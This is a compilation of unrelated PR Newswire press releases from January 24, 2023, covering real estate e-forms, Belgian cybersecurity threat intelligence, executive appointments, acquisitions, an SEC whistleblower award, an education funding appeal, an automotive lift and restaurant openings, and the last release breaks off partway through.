Twitter: @FlightYork

Instagram: oregon_loves_ny

SOURCE Sally Ruth Bourrie
SACRAMENTO, Calif., Jan. 24, 2023 /PRNewswire/ -- Oregon REALTORS (the Association) is set to be the latest real estate association to partner with SkySlope to bring their members access to digital real estate forms as a member benefit in early 2023. SkySlope, one of the industry's most renowned digital transaction management platforms, will be undertaking a digital transformation of the Association's forms in February, turning them into powerful e-forms with pre-populating data fields and free embedded digital signature capabilities, among other technologies.

Headquartered in Salem, Oregon, the Association was established in 1932 to organize the real estate profession in Oregon. Today, the Association has more than 19,000 members located throughout the state, making it one of the largest trade associations in the state. In addition to providing ongoing education for real estate professionals, Oregon REALTORS gives its members access to legal resources, industry advocacy, marketing assistance, and more. Digital forms will further expand the Association's member benefits, making Oregon REALTORS members more efficient and equipped to take on the challenges of today's increasingly fast-paced real estate landscape.

SkySlope was founded in 2011 and is now used by over 650,000 real estate professionals throughout the U.S. and Canada. Its client base includes over half of the top 20 brokerages in the United States, making it one of the nation's most exclusive and highly-respected digital transaction management platforms on the market.

Acclaimed for its ease of use as well as its ever-expanding suite of products, SkySlope provides time-saving solutions for every part of a real estate transaction  from the listing process  to the offer process  to disclosures. Forms has long been one of SkySlope's most essential solutions, providing agents with an easy, automated way to digitally fill real estate forms.

"Forms are an important part of every real estate transaction," says SkySlope CEO Tyler Smith. "They can also be extremely time-consuming. It was our goal to transform forms into an efficient, digitized format that would make them easier for real estate professionals to fill out and get signed. When REALTORS spend less time behind the screen, they have more time for building real-life connections."

Oregon REALTORS will join an increasing network of real estate associations, including the world's fastest growing real estate association  the Toronto Regional Real Estate Board (TREEB)  who are partnering with SkySlope in 2023 to digitize their real estate forms and bring more value to their members.

"Oregon REALTORS is dedicated to establishing the resources and services to help real estate professionals succeed in their businesses," says 2023 President Grace Bergen. "As we enter 2023, we couldn't be more excited to add another solution to serve our members."

About SkySlope

Established in 2011, SkySlope is the customer experience platform managing real estate transactions from contract to close. Serving over 650,000 real estate professionals across the U.S. and Canada, SkySlope manages nearly 3 million transactions annually. SkySlope is on a mission to build solutions that reshape the real estate industry by creating the most powerful autonomous transaction platform. For more information, visit www.SkySlope.com

About Oregon REALTORS

Oregon REALTORS was established in 1932 to organize the real estate profession in Oregon. Today, it is one of the largest trade associations in the state. On behalf of its members, Oregon REALTORS is a business advocate, force for education, and legislative advocate for free enterprise and private property rights in Oregon. Its core purpose is to advance the ability of Oregon REALTORS to practice the real estate profession in an ethical, profitable, and successful manner.

Media Contact:

SkySlope

[email protected]

1-800-507-4117

SOURCE SkySlope
The Centre for Cyber Security Belgium (CCB) Adopts Recorded Future's Intelligence Cloud to Race Ahead of Threats to Vital Interests and Citizens

BRUSSELS and BOSTON, Jan. 24, 2023 /PRNewswire/ -- The Kingdom of Belgium's Centre for Cyber Security Belgium (CCB) and Recorded Future, the intelligence company, today announced details of an expanded strategic partnership to improve the cybersecurity of Belgium.

Recorded Future and CCB will partner to provide threat information to national security agencies, Vital Interest Organizations and their sectoral authorities, and other partners. In particular, Recorded Future will help power CCB's "Spear Warnings" to Belgium companies and critical infrastructure to notify of critical vulnerabilities that may be targeted by cyber threat actors.

As Belgium and its people face a diverse landscape of cyber threats, the Kingdom's premiere cybersecurity authority had previously chosen Recorded Future's Intelligence Cloud, and the company's years of expertise, to help fulfill the National Cyber Security Strategy 2.0.

"Recorded Future provides CCB with the actionable intelligence necessary to analyze and distribute information on threats, vulnerabilities and attacks on the information and communication systems of Belgium's vital sectors including critical infrastructure, government systems and critical data."  Miguel de Bruycker, Director, Centre for Cybersecurity Belgium (CCB)

Belgium and Recorded Future have a long-standing trust in their ability to take results from Recorded Future's Intelligence Cloud and help protect Belgium's interests, through CCB's one-of-a-kind "Spear Warning Program" before the threats materialize into brand impairment, compliance failure, financial fraud, or operational downtime. The collaboration announced today will extend this partnership in order to rapidly create and operationalize intelligence-based solutions for the protection of Belgium.

"Recorded Future is fully committed to assisting in Belgium's defense with our intelligence. We look forward to working on this imperative challenge with the brilliant team at CCB whose initiatives are central to making Belgium one of the least vulnerable countries in Europe."  Dr. Christopher Ahlberg, CEO and Co-Founder, Recorded Future

About CCB

The Centre for Cybersecurity Belgium (CCB) is the national authority for cybersecurity in Belgium. The CCB supervises, coordinates and monitors the application of the Belgian cyber security strategy. Through optimal information exchange, companies, the government, providers of essential services and the population can protect themselves appropriately.

The Centre for Cybersecurity Belgium (CCB) was established by Royal Decree of 10 October 2014 and operates under the authority of the Prime Minister.

It is headed by director Miguel de Bruycker and deputy director Phedra Clouner.

About Recorded Future

Recorded Future is the world's largest intelligence company. Recorded Future's Intelligence Cloud provides complete coverage across adversaries, infrastructure, and targets. By combining persistent and pervasive automated data collection and analytics with human analysis, Recorded Future provides real-time visibility into the digital landscape and empowers clients to take proactive action to disrupt adversaries and keep their people, systems, and infrastructure safe. Headquartered in Boston with offices and employees around the world, Recorded Future works with over 1,500 businesses and government organizations across more than 64 countries. Learn more at recordedfuture.com.

SOURCE Recorded Future
Animal Health Industry Veteran to Lead the Company Through Next Phase of Growth

SAN DIEGO, Jan. 24, 2023 /PRNewswire/ -- PetDx  The Liquid Biopsy Company for Pets announced today that Alejandro Bernal, DVM, MS, MBA, has been appointed as its new President and Chief Executive Officer. An experienced industry executive, Bernal will succeed PetDx Founder Daniel S. Grosu, MD, MBA, who will continue in his role as Chairman of the Board.

"Alejandro Bernal is one of the most respected leaders in the animal health industry, with extensive experience in driving transformative investment agendas and building unique, differentiated, and fast-growing businesses," Grosu said. "We are excited that he brings that experience and passion to PetDx and to OncoK9, the first and only genomics-based multi-cancer early detection test in veterinary medicine."

"Alejandro Bernal is one of the most respected leaders in the animal health industry." Tweet this

OncoK9 is currently indicated as a noninvasive tool for screening, aid-in-diagnosis, and monitoring of cancer in dogs. Thousands of canine patients in the US and around the world have benefited from testing performed at PetDx's state-of-the-art molecular diagnostics laboratory in La Jolla, California.

"I have always been passionate about the role that innovation and new technologies can play in improving the lives of pets," Bernal said. "Over the past decade, rapidly evolving next-generation sequencing-based testing solutions have revolutionized multiple specialty areas in human medicine, improving the quality of care for millions of people. Genomic medicine is now making rapid inroads into veterinary care and holds particular promise for the detection, characterization and management of cancer, which is by far the biggest cause of death in dogs. The cutting-edge liquid biopsy solutions developed by PetDx are without parallel in veterinary diagnostics, and I am excited to join such an innovative company at this unique point in their growth trajectory."

Prior to joining PetDx, Bernal was the President for Mars Veterinary Health International and Global Diagnostics, leading the consolidation and operations for Mars-owned veterinary hospitals outside North America as well as Antech's network of veterinary reference labs. Bernal also spent 17 years with Zoetis (formerly Pfizer Animal Health), the majority of which were as a member of the executive team serving in global leadership and strategy roles.

Bernal holds a Master of Business Administration from Universidad de los Andes, Colombia, a Master of Science from Texas A&M University, and a Doctor of Veterinary Medicine degree from Universidad de Caldas, Colombia.

About PetDx

PetDx  The Liquid Biopsy Company for Pets is a San Diego-based molecular diagnostics company dedicated to unleashing the power of genomics to improve pet health. The company's flagship product, OncoK9, enables veterinarians to detect cancer in dogs with a simple blood draw. As a first-in-class multi-cancer early detection (MCED) test, OncoK9 employs cutting-edge genomic analysis that leverages next-generation sequencing (NGS) technology and proprietary bioinformatics algorithms, empowering veterinarians to provide superior care to canine patients. OncoK9 is available at most veterinary clinics in the United States and Canada through PetDx, IDEXX Reference Laboratories, and Antech Diagnostics. To learn more, visit petdx.com and connect with us on Facebook, Instagram, LinkedIn, and Twitter.

Media Contact:

Kristi Fender, Stephens & Associates

[email protected]

SOURCE PetDx
Leading Baked & Frozen Dessert Manufacturer Completes Recapitalization with JTM Foods

DALLAS, Jan. 24, 2023 /PRNewswire/ -- Pinecrest Capital Partners ("Pinecrest") is proud to announce that Cookies-n-Milk ("CnM"), a leading bakery and frozen dessert manufacturer based in McKinney, Texas, has been acquired by JTM Foods ("JTM"), a portfolio company of Tenex Capital Management ("Tenex"). Pinecrest served as the exclusive advisor to Cookies-n-Milk in this transaction.

Founded in 1993 by Mike and Cindy Blasko, Cookies-n-Milk has historically produced fully baked cookies, brownies, blondies, and doughnut holes, and more recently has become a leader in the edible cookie dough category. CnM's products are sold across the US through several channels, including convenience, grocery, food service, and fast casual restaurants nationwide. The new partnership with JTM Foods and Tenex Capital Management will provide Cookies-n-Milk with key support to continue to expand operations through its next phase of growth.

Pinecrest Senior Managing Director Barrett Kingsriter, Director Wes Romanowski, and Senior Associate Austin Jolesch served as the investment bankers on the transaction.

"We are so excited to be a part of the JTM/Tenex family. Their teams bring strong leadership and specific industry experience that will enable Cookies-n-Milk to build off its current momentum and ensure that the Company continues its impressive growth trajectory," said Mike Blasko, Founder of Cookies-n-Milk. "I was extremely impressed with the process that Pinecrest put together  I cannot thank them enough. They truly understood that CnM was an extension of our family, and they helped guide the process in a way that led to us finding the best possible partner."

"Mike and Cindy have built a remarkable business that has become a true category leader in the dessert space. We were honored to work with them throughout this transaction," added Wes Romanowski. "We're excited to see CnM partner with the JTM and Tenex teams to continue building the Cookies-n-Milk brand."

Patrick Ryan and Dean Gould from Dykema Gossett PLLC served as the seller's legal counsel for the transaction.

Testimonials may not be representative of the experience of other customers and are no guarantee of future performance or success.

Barrett Kingsriter and Bobby Renkes are registered representatives of Securities and Investment Banking Services, offered through BA Securities, LLC Member FINRA SIPC. Pinecrest Capital Partners and BA Securities, LLC are separate and unaffiliated entities.

SOURCE Pinecrest Capital Partners
Current Chief Investment Officer (CIO) Rick Pitcairn becomes firm's Chief Global Strategist; Well-regarded investment industry veteran Nathan Sonnenberg joins firm as new CIO

JENKINTOWN, Pa., Jan. 24, 2023 /PRNewswire/ -- Pitcairn, a true family office serving ultra-high-net-worth families for a century, announced today the expansion of its executive leadership team with the addition of Nathan Sonnenberg, a 25-year investment professional, as its new Chief Investment Officer. Pitcairn's long-time CIO, Rick Pitcairn, will take a new role as the firm's Chief Global Strategist.

The moves come as Pitcairn continues to expand its client base and investment offerings, positioning the firm for continued growth among many of the country's wealthiest families. Pitcairn was founded in 1923 as the single family office for the Pitcairn family, and today the firm serves more than 100 families.

"We're excited to welcome Nathan to Pitcairn, and to continue to offer Rick's proven strategic vision and vast market knowledge to our client families as we begin our second century," said Leslie C. Voth, Pitcairn's Chairman, Chief Executive Officer, and President. "These moves build on our decades of investment excellence and will ensure that our ultra-high-net-worth clients continue to receive the trusted investment counsel and sophisticated opportunities they deserve."

At Pitcairn, Nathan will focus on the day-to-day management of the investment team, along with building the firm's long-term capital framework and identifying new opportunities within private markets. In his new role, Rick will advance the firm's global growth strategy, work directly with clients, and produce original research and informed insights on macroeconomic trends for clients and the media. Both will report to Leslie Voth.

"I am looking forward to working closely with Nathan and continue to support our client families," Rick said. "Having worked with Nathan for the past several years, I know that he is not only a smart and highly experienced investment professional, but he also shares our values and commitment to doing what's best for our clients."

Prior to Pitcairn, Nathan was founder of outsourced-CIO consultancy Wealth Management Consulting, LLC. Previously, he held leadership positions, including as chief investment officer, at wealth management firms Fortigent, Advice Period, Glassman Wealth Services and Abbott Downing.

"I want to thank Leslie and Rick for this incredible opportunity," Nathan said. "Over my many years working with Pitcairn, I have seen firsthand how they deliver personalized portfolios for every client family. I want to thank them for placing their trust in me, and I look forward to serving Pitcairn client families for many years to come."

Both Rick and Nathan will serve on the firm's leadership team and investment policy committee. Nathan is based in the Washington, D.C. area and will split his time between there and the firm's Jenkintown office, with a focus on building out a Capital region team. Rick will continue to be based out of the Jenkintown, PA. office.

About Pitcairn

Pitcairn is a true family office and leader in helping wealthy families navigate the challenges and opportunities created by the interplay of family and financial dynamics. Through Wealth Momentum, an experience-based family office model, Pitcairn helps families achieve a more effective and complete experience. Since its inception, Pitcairn has partnered with some of the world's wealthiest families to meet their needs and drive better outcomes  year to year, decade to decade, generation to generation. Today, Pitcairn is recognized as an innovator, guiding families through generational wealth transitions, and redefining the industry standard for family offices. The firm is located in the Philadelphia suburbs with offices in New York City and representatives in the Washington, D.C. area and Florida.

Contact:

Michaela Morales

JConnelly

973-224-7152

[email protected]

SOURCE Pitcairn
Delivering On Our Promise of Universal Education

Our investment in education - especially for children caught in crisis and conflict - is our investment in a better future.

GENEVA, Jan. 24, 2023 /PRNewswire/ -- The following is a press statement provided by Education Cannot Wait:

As we mark International Day of Education, world leaders must make good on their promise of providing quality education for all by 2030.

On February 16, world leaders are gathering for the Education Cannot Wait High-Level Financing Conference in Geneva. Hosted by ECW and Switzerland - and co-convened by Colombia, Germany, Niger, Norway and South Sudan - the conference provides world leaders with the opportunity to deliver on our promise of education for all.

Education is our investment in peace where there is war, our investment in equality where there is injustice, our investment in prosperity where there is poverty.

Make no mistake about it, there is a global education crisis that threatens to unravel decades of development gains, spur new conflicts, and upend economic and social progress across the globe.

As UN Secretary-General Antonio Guterres highlighted at last year's Transforming Education Summit: "If we are to transform our world by 2030 as envisaged by the Sustainable Development Goals, then the international community must give this (education) crisis the attention it deserves."

When Education Cannot Wait (ECW), the United Nations global fund for education in emergencies and protracted crises, was founded in 2016, we estimated that 75 million crisis-impacted children required education support. Today, that number has tripled to 222 million.

Of the 222 million children whose right to an education has been ripped from their hands by the multiplying impacts of conflict, climate change and other protracted crises, an estimated 78 million are out of school all together  more than the total populations of France, Italy or the United Kingdom.

As we have seen from the war in Ukraine, the challenges of the Venezuelan migration to Colombia and South America, the unforgivable denial of education for girls in Afghanistan, and a devastating climate change-driven drought in the Horn of Africa that has created a severe hunger crisis for 22 million people, we are living in an interconnected world.

The problems of Africa, the Middle East, South America, and beyond are the problems of the world that we share together. And amid conflict, migration and climate change, governments like Colombia are struggling to secure the most basic living and education conditions for children in hard-to-reach borders.

There is hope. By embracing a new way of working and delivering with humanitarian speed and development depth, ECW and its strategic partners have reached 7 million children in just five years, with plans to reach 20 million more over the next four years.

On February 16, world leaders are gathering for the Education Cannot Wait High-Level Financing Conference in Geneva. Hosted by ECW and Switzerland  and co-convened by Colombia, Germany, Niger, Norway and South Sudan  the conference provides world leaders, businesses, foundations and high-net-worth individuals with the opportunity to deliver on our promise of education for all. The aim is to raise US$1.5 billion for the next four years.

As the co-conveners of this seminal event, we are calling on the people of the world to invest in the promise of an education. It's the best investment we could make in delivering on the Sustainable Development Goals. We have promises to keep.

Co-signed Statement By: Federal Councillor of the Swiss Confederation, Ignazio Cassis; Federal Minister for Economic Cooperation and Development, Germany, Svenja Schulze; Minister of Education, Niger, Ibrahim Natatou; Minister of International Development, Norway, Anne Beathe Tvinnereim; Minister of General Education and Instruction, South Sudan, Awut Deng Acuil; Minister of Education, Colombia, Alejandro Gaviria; Former UK Prime Minister, UN Special Envoy for Global Education and Chair of ECW's High-Level Steering Group The Rt. Hon. Gordon Brown.

Photo - https://mma.prnewswire.com/media/1987756/Education_Cannot_Wait_UNICEF.jpg

Logo - https://mma.prnewswire.com/media/1656121/Education_Cannot_Wait_Logo.jpg

SOURCE Education Cannot Wait
ZURICH, Jan. 24, 2023 /PRNewswire/ -- EU Sustainable Finance Disclosure Regulation (SFDR) reporting is now available in the Proof platform, offering an automated & comprehensive way to achieve continuous SFDR compliance.

Proof, a pioneering impact intelligence platform, announces the launch of an end-to-end SFDR Compliance module for investors to comply with new European regulatory requirements. Using a hybrid approach of automated digital tools with expert advisory & consulting services, Proof's SFDR offering includes:

Guided SFDR Checklist and Knowledge hub to avoid missing critical steps and compliance requirements Ongoing PAI Monitoring of your portfolio's progress towards PAI data collection Real-time, sharable reports including automatically generated EETs, detailed audit log, and snapshot of overall required SFDR disclosures Automated gap analysis, proxy planning advisory and integration of proxy data In-app messaging & support from SFDR experts and advisory partners

Proof's SFDR tools provide a single picture of relevant ESG data, documentation, and compliance support for reducing risk across funds and portfolios.

The EU's Sustainable Finance Disclosure Regulation (SFDR) requires private market investors to publicly disclose their ESG performance beginning June 2023. The regulations are designed to increase market transparency and direct capital towards more sustainable businesses.

"The broader opportunity for investors is to showcase how to extend beyond SFDR compliance and into performance. Proof helps clients put SFDR reporting on autopilot so they can focus on measuring the metrics that matter." Kevin Pettit, Co-founder & Chief Product Officer at Proof.

With Proof investors can expect simplified, tech-enabled guidance supported by market-leading experts, continuous compliance oversight and real-time access to data. This will lower compliance risk, reduce manual inefficiencies and enable fund managers to grow their sustainable holdings.

On the heels of a successful capital raise , Proof is positioned to support purpose-driven investment firms in their efforts to measure and report on their portfolios ESG & impact performance. The online platform includes digital tools to create ESG & impact strategies, select industry standard metrics, align to best-practice frameworks and standards, gather portfolio company data, and gain granular insight into impact performance through a combination of advanced analytics, data visualizations, and innovative digital dashboards.

To learn more about Proof SFDR compliance services and to join SFDR readiness program, visit proof.io/proofs/sfdr .

About Proof

Proof provides the greater purpose-driven economy with the ability to comprehensively view companies' past and predicted performance towards their social and environmental objectives  for transparent, continuous, and dynamic impact management at scale.

Email: [email protected]

Website: https://proof.io

SOURCE Proof
CARROLLTON, Texas, Jan. 24, 2023 /PRNewswire/ -- Propelled Brands, a best-in-class multi-brand franchisor platform company, is welcoming a new president for its premier franchise brand, FASTSIGNS International, Inc.

Andrea Hohermuth

Catherine Monson, CEO of Propelled Brands, who has served as the CEO and President of FASTSIGNS International since January 2009, knew that it was time for a president solely devoted to FASTSIGNS. As Propelled Brands continues to grow and add more brands, she wanted to ensure that FASTSIGNS had a strong, dedicated leader to continue to drive innovation and growth for the FASTSIGNS franchisees.

Propelled Brands was formed in 2001 with FASTSIGNS International, Inc. as its first brand. The franchisor later acquired the technology brand NerdsToGo and the salon suite franchisor Suite Management Franchising, LLC, the parent company of MY SALON Suite and Salon Plaza.

"It has been a true joy to be the dedicated executive focused on the FASTSIGNS brand for over 13 years, helping the FASTSIGNS Network grow. I have focused on implementing the franchising best practices of improving franchisee profitability, increasing franchisees' profitable sales growth, increasing the value of the brand through excellent marketing, and increasing already-high franchisee satisfaction. The FASTSIGNS brand continues to be the recognized leader in the signage and visual graphics space," said Monson. "NerdsToGo and MY SALON Suite both have their own dedicated, focused presidents, and now FASTSIGNS has its own president. We took our time to find the right person for this role. Andrea Hohermuth's franchising knowledge and experience, strong leadership skills, broad skillset, technology backgroundalong with her passion and drivemake her the ideal President to continue to grow the FASTSIGNS network."

Hohermuth met with franchisees and spoke about her vision for 2023 from the main stage at the FASTSIGNS International Convention held in Las Vegas this week.

With over 20 years of experience, Andrea Hohermuth has broad experience in franchising, technology, operations, and leadership and has been integral to the modernization of multiple companies. Utilizing strategic vision and design to deliver on large-scale initiatives, she has a proven track record of overseeing departments and leading teams through transition and growth.

Prior to FASTSIGNS, Andrea held the role of Chief Operating Officer of Threshold Brands, a multi-brand franchisor in the home services industry, for which she was instrumental in structuring. She has also served as the Senior Vice President of Technology & Operations and later the Chief Operating Officer at MaidPro, the inaugural brand of Threshold Brands and one of the top 10 franchise companies ranked by Forbes.

At FASTSIGNS, Andrea is leading all franchise support efforts for the FASTSIGNS network including business development, operations, supply chain, technology, IT support, training, sales development, digital signage, and national accounts.

"As FASTSIGNS continues to grow as the leader in the signage and visual graphics industry, we are thrilled to have Andrea Hohermuth as the dedicated executive to continue to innovate, grow the brand and to support our franchisees in the FASTSIGNS Network. What a great way to bring in 2023," said Catherine Monson.

About FASTSIGNS

FASTSIGNS is a leading national visual ideas company that creates a wide variety of comprehensive sign and graphics solutions. With over 35 years of experience, FASTSIGNS helps you achieve more than you ever thought possible. We are the worldwide franchisor of more than 760 independently owned and operated FASTSIGNS centers. FASTSIGNS locations span across the United States, Puerto Rico, the United Kingdom, Canada, Chile, Grand Cayman, Malta, the Dominican Republic and Australia (where centers operate as SIGNWAVE). FASTSIGNS is frequently recognized for franchisee satisfaction and through franchising awards which include being ranked #1 on Entrepreneur's Highly Competitive Franchise 500 List for the Seventh Consecutive Year for 2023 as well as being named a 2023 Best-in-Category Franchise by Franchise Business Review.

In 2021, Propelled Brands was formed, and is now the multi-brand franchisor for FASTSIGNS, NerdsToGo, MY SALON Suite and Salon Plaza brands.

To learn more visit fastsigns.com. Follow the brand on LinkedIn at linkedin.com/company/fastsigns, Twitter @FASTSIGNS or Facebook at facebook.com/FASTSIGNS. For information about the FASTSIGNS franchise opportunity, contact Mark Jameson ([email protected] or call 214.346.5679).

SOURCE FASTSIGNS International, Inc.
BOSTON, Jan. 24, 2023 /PRNewswire/ -- The U.S. Securities and Exchange Commission ("SEC") announced today that clients of Pugsley Wood LLP ("Pugsley Wood") will collectively receive a whistleblower award totaling more than $28 million. According to the SEC, Pugsley Wood's clients provided "detailed information [that] prompted the opening of the SEC staff's investigation and . . . provided substantial analysis and ongoing assistance, which resulted in the return of millions of dollars to harmed investors." Represented by Pugsley Wood partner, Bryan A. Wood, the whistleblowers received the maximum allowable award for their assistance.

"Our clients had the courage to blow the whistle while others stayed silent for many years," said Mr. Wood. "This award is long-awaited validation for their selfless actions, which saved investors tens of millions of dollars. We commend them for their efforts."

The SEC's Order granting the award noted that the whistleblower's information and assistance "was critical to staff's ability to identify and investigate the unlawful securities violations" and, further, that "there is a close nexus between their information and the Commission's charges."

Since its inception, the SEC Whistleblower Program has paid out approximately $1.4 billion to 337 individuals. Whistleblowers can be eligible for an award when they voluntarily provide the SEC with original, timely, and material information that leads to a successful enforcement action.

"This award is yet another in what has become a very long line of meaningful SEC whistleblower payments," noted Mr. Wood. "It is obvious that the Commission is firmly committed to compensating individuals who come forward with evidence of wrongdoing. We encourage whistleblowers to make use of this program and applaud the Commission's continued efforts to reward them for their courage."

About Pugsley Wood LLP

Pugsley Wood LLP is among the premier whistleblower law firms in the United States. Wood and Pugsley began collaborating on whistleblower cases in early 2015. In 2021 they decided to leave their respective law firms of 20+ years to better serve their clients by combining their knowledge and resources in a highly specialized law firm dedicated solely to representing whistleblowers. To date, they have obtained more than $100 million in whistleblowers awards for their clients under SEC, CFTC, DOJ, FIRREA/FIAFEA, and OSC whistleblower programs. Visit PugsleyWood.com for additional information.

SOURCE Pugsley Wood LLP
QuartzBio's suite of end-to-end SaaS solutions provides pharmaceutical and biotech clients with a fully connected data ecosystem linking sample, biomarker, and clinical data to improve collaboration, planning and R&D productivity.

FREDERICK, Md., Jan. 24, 2023 /PRNewswire/ -- Precision for Medicine, the first global, precision medicine clinical research services organization, today announced the strategic acquisition of SolveBio by QuartzBio.

SolveBio's intelligent technologies and enterprise data management platform has integrated into QuartzBio's suite of SaaS solutions, providing a single, scalable solution supporting clinical sample inventory management and biomarker data management for the biotech and pharmaceutical sectors.

The combined offerings under QuartzBio provide scientific and operations teams in drug development with an agile, user-friendly data management platform that enables enterprise-level visibility across the lifecycle of their sample and biomarker data. Leveraging this expanded enterprise suite of solutions, scientists in translational research and clinical operations can more easily collaborate across functions, analyze and report on key datasets, and generate insights.

"We are excited to have SolveBio joining forces with QuartzBio," says Scott Marshall, Ph.D., General Manager of QuartzBio. "As our industry continues to innovate, it is imperative that we continue to advance our portfolio of enterprise solutions to enable scale and connectivity in support of our ultimate goal  delivering therapies to patients. Integrating SolveBio's technology with QuartzBio's existing portfolio helps us accomplish that."

QuartzBio's fully connected, end-to-end SaaS solutions are engineered to enable seamless monitoring and tracking of clinical sample status, informed consent form (ICF) tracking/codification, and management of biomarker data across the enterprise, resulting in a unified solution for the management and delivery of both samples and their related biomarker data. The platform is used to generate scientific and operational insights, while studies are in progress, after studies are complete, and across multiple clinical programs.

Combining the QuartzBio and SolveBio teams' expertise and scale, QuartzBio can now better support clients' strategic goals and day-to-day productivity by helping clinical and translational teams:

Save time with technology that maps data as-is, from any source, using the format provided by the lab, vendor, or other source systems with no changes requiredincreasing flexibility and speeding deployment.

from any source, using the format provided by the lab, vendor, or other source systems with no changes requiredincreasing flexibility and speeding deployment. Gain visibility into sample status with virtual Sample Inventory Management, a single source of truth linking samples and derivatives with clinical data, informed consent, shipping status, and more  across multiple sites, labs, and repositories.

a single source of truth linking samples and derivatives with clinical data, informed consent, shipping status, and more  across multiple sites, labs, and repositories. Increase efficiency and reporting accuracy with enterprise-wide Biomarker Data Management , as all sample-related data will be centralized and harmonized in a unified data platform, thus eliminating the need to search for data in multiple storage locations.

, as all sample-related data will be centralized and harmonized in a unified data platform, thus eliminating the need to search for data in multiple storage locations. Consolidate visibility to stored samples from all studies (active and inactive) with virtual Biorepository, across geographies, biorepositories, and central labs (long-term storage) to facilitate planning for future data generation.

across geographies, biorepositories, and central labs (long-term storage) to facilitate planning for future data generation. Collaborate and connect by leveraging biomarker-specific visualizations (e.g., genomic and flow data modules), shareable dashboards, internal and external notifications, and application programming interfaces (APIs)/connectors that allow the QuartzBio solutions to empower decision making in the context of a complex data ecosystem.

"We're very excited to join Precision for Medicine and become a part of QuartzBio," says Mark Kaganovich, SolveBio's Founder and CEO. "It's a big opportunity to continue improving our offering to our customers." "QuartzBio's acquisition of SolveBio is a major step forward in our goal to solve biomarker data management for the pharmaceutical and biotech industry," says David Caplan, SolveBio's Co-Founder and CTO. "By joining QuartzBio's amazing team, we will be able to provide the comprehensive solution our clients need to get precision treatments out to patients faster. We are honored to be a part of this journey."

About Precision for Medicine

Precision for Medicine is the first biomarker-driven clinical research services organization supporting life sciences companies in the use of biomarkers essential to targeting patient treatments more precisely and effectively. Precision applies novel biomarker approaches to clinical research that integrate clinical trial design and execution with deep scientific knowledge, laboratory expertise and advanced data sciences. This convergence of trials, labs and data sciences is driving faster clinical development and approval. Precision for Medicine is part of Precision Medicine Group, with 3,200 people in 40 locations in the U.S., Canada, Europe and Australia. For more information, visit PrecisionForMedicine.com.

About QuartzBio

QuartzBio helps overcome the data chaos inherent in modern drug development. We serve clinical operations and translational research teams in oncology, autoimmune, CNS and other biomarker-rich therapeutic areas, whose progress hinges on navigating and connecting a complex data ecosystem. Our suite of fully connected, end-to-end SaaS solutions is engineered specifically to address the challenges of both sample data and biomarker data management  providing a single, scalable data platform solution to the biotech and pharma sectors. For more information, visit Quartzbio.com.

About SolveBio

SolveBio is an industry leader in advanced precision medicine data analytics. Its technology platform enables biopharma customers to lower trial risk, create more effective therapeutics, and compress the time scale of clinical development. The core of SolveBio's platform is technology to connect genomic data that comes from a rapidly compounding complex landscape of vendors, studies, and patients.

Media Contact:

Ann Smith, Precision Medicine Group Media Relations

201-680-9447

[email protected]

SOURCE Precision for Medicine, Inc.
DOWNERS GROVE, Ill., Jan. 24, 2023 /PRNewswire/ -- Rotary, part of Vehicle Service Group (VSG) and Dover (NYSE: DOV), today announced the addition of the new XA12 Alignment Scissor Lift to its extensive line of automotive lifts for independent shop owners, dealership service departments and car enthusiasts.

The XA12 serves as the ideal small bay alignment lift solution with the largest 4-wheel alignment wheelbase range available in its class. With a 78- to 164-inch 4-wheel alignment wheelbase range and 12,000-pound lifting capacity, the XA12 is designed with space and flexibility in mind. Shops can offer alignment services with bay space to spare, and technicians can perform alignments on a wider range of vehicles.

"This is another example of Rotary's commitment to 'Serving the Shop'," said Tim Vaughan, Vice President of Sales for VSG Americas. "The XA12 lift combines the ultimate in lift versatility and service capacity, allowing shops to serve a wide range of cars, from compacts to large trucks and anything in between."

The XA12 easily fits within the smallest of service bays with a minimum bay size footprint of 12 by 23 feet. Its open front and rear design provide technicians with greater access to vehicle adjustment points, making wheel alignments and other repairs easier to perform.

Additionally, the XA12 features adjustable radius gauges, which are quickly and easily configured for short and long wheelbases. The alignment scissor lift also comes standard with two 6,000-pound capacity air-operated rolling jacks and longer rear slip plates to accommodate a greater wheelbase range. Its hinged ramps automatically self-chock and drop down when the lift is raised, increasing the workspace around the lift.

For more information about the new Rotary XA12 Alignment Scissor Lift, visit rotarylift.com/product/xa12.

About Rotary:

Rotary is the leading manufacturer of vehicle lifts and wheel service products for use in professional automotive service, commercial truck and transit industries. In 1925, Peter Lunati designed, built and patented the first fully hydraulic automotive lift and gave rise to a new industry. Rotary's pursuit of innovation has built the world's most trusted lifts, designed to increase shop efficiency and productivity. Today, there are more Rotary Lift products used in vehicle repair facilities around the world than any other brand. Rotary is part of Vehicle Service Group, an operating company of Dover Corporation's Engineered Products sector. For more information, visit rotarylift.com.

About Vehicle Service Group:

As an operating company of the Dover Corporation, Vehicle Service Group (VSG) offers the world's premier brands in vehicle lifting, wheel service, collision repair and aftermarket OEM equipment. With over 95 years of experience, we design, test, manufacture, sell and support our products with one thing in mind, our customer. For more information, visit www.vsgdover.com.

About Dover:

Dover is a diversified global manufacturer and solutions provider with annual revenue of over $8 billion. We deliver innovative equipment and components, consumable supplies, aftermarket parts, software and digital solutions, and support services through five operating segments: Engineered Products, Clean Energy & Fueling, Imaging & Identification, Pumps & Process Solutions and Climate & Sustainability Technologies. Dover combines global scale with operational agility to lead the markets we serve. Recognized for our entrepreneurial approach for over 65 years, our team of over 25,000 employees takes an ownership mindset, collaborating with customers to redefine what's possible. Headquartered in Downers Grove, Illinois, Dover trades on the New York Stock Exchange under "DOV." Additional information is available at dovercorporation.com .

Vehicle Service Group Contact:

David Fischmer

(812) 265-9543

[email protected]

Dover Media Contact:

Adrian Sakowicz, VP, Communications

(630) 743-5039

[email protected]

Dover Investor Contact:

Jack Dickens, Senior Director, Investor Relations

(630) 743-2566

[email protected]

SOURCE Dover
Upcoming Openings in Katy, Richmond and League City to Expand Company's Footprint Across the State

PHOENIX, Jan. 24, 2023 /PRNewswire/ -- Salad and Go , an emerging QSR industry disruptor committed to revolutionizing fast food, announced today its continued growth across Texas with three new locations opening this month in the Houston markets of Katy, Richmond and League City.

Salad and Go's inaugural Houston area stores are all set to open in February. The Katy store located at 5200 FM 1463 is slated to open February 1, the Richmond location at 19110 West Bellfort Blvd. is set to open February 17, and the League City store at 2590 E League City Parkway plans to open its doors on February 22. These new locations will mark the start of rapid brand expansion across the Greater Houston area.

These suburbs were strategically selected as ideal markets for Salad and Go as some of the fastest growing communities in the region. Conveniently located in some of Houston's most popular suburbs, the new locations will provide an exciting opportunity for local residents to enjoy fresh, high-quality meals with quick and easy convenience at an affordable price.

